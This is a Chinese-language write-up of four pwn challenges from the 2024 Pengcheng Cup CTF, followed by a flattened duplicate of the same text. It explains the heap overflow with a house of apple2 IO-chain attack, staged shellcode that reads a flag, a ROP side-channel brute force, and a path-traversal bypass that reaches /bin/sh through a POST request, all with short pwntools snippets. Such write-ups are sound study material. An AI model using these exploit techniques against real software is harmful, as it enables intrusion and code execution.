2024鹏城杯Pwn方向超详细全部题解
字数 1079 2025-08-20 18:17:53

2024鹏城杯Pwn方向题解教学文档

1. babyheap

题目分析

  • 漏洞点:edit函数固定长度为0x400,存在堆溢出。
  • 环境:libc2.35,需通过house of apple2攻击IO结构。
  • 利用步骤:
    1. 泄露heap基址:通过add(0)触发free后重新分配,读取残留的堆地址。
    2. 泄露libc基址:填满tcache后释放到unsorted bin,通过show获取main_arena地址。
    3. 构造IO攻击链:利用edit溢出修改_IO_2_1_stderr_wide_datavtable,劫持控制流。

关键代码

# 泄露heap基址
add(0, 0, b'')  # 触发free后残留heap地址
show(0)
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12

# 泄露libc基址
for i in range(8): add(i, 0xa0, b'a')  # 填满tcache
delete(7)  # 进入unsorted bin
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0 - 0x100

# 构造IO链
payload = p64(system_addr) + p64(heap_base + 0x8d0)  # 伪造_IO_FILE和_wide_data
edit(0, payload)  # 溢出修改

2. cool_book

题目分析

  • 漏洞点:add函数的idx未严格校验,导致越界覆盖返回地址。
  • 利用步骤:
    1. 覆盖返回地址:通过越界写入堆地址,劫持控制流。
    2. 执行shellcode:堆内存可执行,但read仅允许0x10字节,需分阶段:
      • 第一阶段:写入短shellcode调用read读取更多数据。
      • 第二阶段:写入完整shellcodeopen/read/write flag)。

关键代码

# 覆盖返回地址
add(0x31, 0x10, asm('xor edi, edi; mov rdx, 0x1000; syscall'))  # 越界写入

# 第二阶段shellcode
shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))
p.send(shellcode)

3. vm

题目分析

  • 漏洞点:
    • swapreg0指令的idx2未校验,导致寄存器越界读写。
    • malloc/free指令可操作堆内存。
  • 利用步骤:
    1. 泄露libc:释放大块到unsorted bin,通过越界读取main_arena地址。
    2. 泄露栈地址:利用libcenviron变量获取栈地址,计算返回地址。
    3. 侧信道爆破flag:通过ROP构造cmp指令比较字符,利用非法地址访问崩溃特性判断字符是否正确。

关键ROP链

# 侧信道核心逻辑
mg1 = libc_base + 0x19244e  # cmp al, [rsi-1]; jne 0x1925c5
mg2 = libc_base + 0x1142bb  # mov qword [rax], -1; xor eax, eax
write_rop(char, idx):  # 写入ROP比较flag字符
    # 构造open/read/cmp链
    # 若字符不匹配,触发mov [rax], -1(rax为非法地址)导致崩溃

4. ez_upload

题目分析

  • 漏洞点:
    • handle_url函数对../的过滤可被....//绕过(双写绕过)。
    • bbbb函数通过pipedup2重定向子进程输入,可执行任意命令。
  • 利用步骤:
    1. 目录穿越:通过....//绕过过滤,访问/bin/sh
    2. 命令注入POST请求数据作为子进程输入,执行cat /flag

关键请求

requests.post("http://target/....//....//bin/sh", data="cat /flag\n")

总结

  • 堆利用:关注libc2.35IO攻击链构造(如house of apple2)。
  • 沙盒绕过:侧信道需结合ROP和崩溃行为分析。
  • Web与系统结合httpd类题目注意文件权限和路径穿越的复合利用。

:实际利用时需根据远程环境调整偏移量和gadget

2024鹏城杯Pwn方向题解教学文档 1. babyheap 题目分析 漏洞点: edit 函数固定长度为 0x400 ,存在堆溢出。 环境: libc2.35 ,需通过 house of apple2 攻击 IO 结构。 利用步骤: 泄露heap基址 :通过 add(0) 触发 free 后重新分配,读取残留的堆地址。 泄露libc基址 :填满 tcache 后释放到 unsorted bin ,通过 show 获取 main_arena 地址。 构造IO攻击链 :利用 edit 溢出修改 _IO_2_1_stderr 的 _wide_data 和 vtable ,劫持控制流。 关键代码 2. cool_ book 题目分析 漏洞点: add 函数的 idx 未严格校验,导致越界覆盖返回地址。 利用步骤: 覆盖返回地址 :通过越界写入堆地址,劫持控制流。 执行shellcode :堆内存可执行,但 read 仅允许 0x10 字节,需分阶段: 第一阶段:写入短 shellcode 调用 read 读取更多数据。 第二阶段:写入完整 shellcode ( open/read/write flag )。 关键代码 3. vm 题目分析 漏洞点: swapreg0 指令的 idx2 未校验,导致寄存器越界读写。 malloc/free 指令可操作堆内存。 利用步骤: 泄露libc :释放大块到 unsorted bin ,通过越界读取 main_arena 地址。 泄露栈地址 :利用 libc 的 environ 变量获取栈地址,计算返回地址。 侧信道爆破flag :通过ROP构造 cmp 指令比较字符,利用非法地址访问崩溃特性判断字符是否正确。 关键ROP链 4. ez_ upload 题目分析 漏洞点: handle_url 函数对 ../ 的过滤可被 ....// 绕过(双写绕过)。 bbbb 函数通过 pipe 和 dup2 重定向子进程输入,可执行任意命令。 利用步骤: 目录穿越 :通过 ....// 绕过过滤,访问 /bin/sh 。 命令注入 : POST 请求数据作为子进程输入,执行 cat /flag 。 关键请求 总结 堆利用 :关注 libc2.35 的 IO 攻击链构造(如 house of apple2 )。 沙盒绕过 :侧信道需结合 ROP 和崩溃行为分析。 Web与系统结合 : httpd 类题目注意文件权限和路径穿越的复合利用。 注 :实际利用时需根据远程环境调整偏移量和 gadget 。